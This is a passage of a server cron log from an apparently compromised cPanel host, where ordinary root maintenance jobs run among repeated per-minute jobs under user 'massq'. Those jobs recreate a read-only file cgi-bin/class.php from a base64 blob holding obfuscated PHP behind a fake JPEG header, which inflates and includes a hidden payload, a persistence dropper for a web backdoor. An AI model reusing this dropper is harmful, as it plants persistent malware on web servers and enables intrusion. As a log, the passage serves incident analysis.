fXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:08:01 server CROND[22816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:09:01 server CROND[22887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:09:01 server CROND[22888]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 18:10:01 server CROND[22960]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:10:01 server CROND[22961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:10:01 server CROND[22962]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 18:10:01 server CROND[22963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:11:01 server CROND[23084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:12:01 server CROND[23190]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 18:12:01 server CROND[23191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:13:01 server CROND[23345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:14:01 server CROND[23411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:15:01 server CROND[23498]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 18:15:01 server CROND[23497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:15:01 server CROND[23499]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  8 18:15:01 server CROND[23502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:15:01 server CROND[23504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:16:01 server CROND[23650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:17:01 server CROND[23731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:18:01 server CROND[23894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:19:01 server CROND[23960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:20:01 server CROND[24021]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 18:20:01 server CROND[24023]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:20:01 server CROND[24024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:20:01 server CROND[24022]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 18:20:01 server CROND[24025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
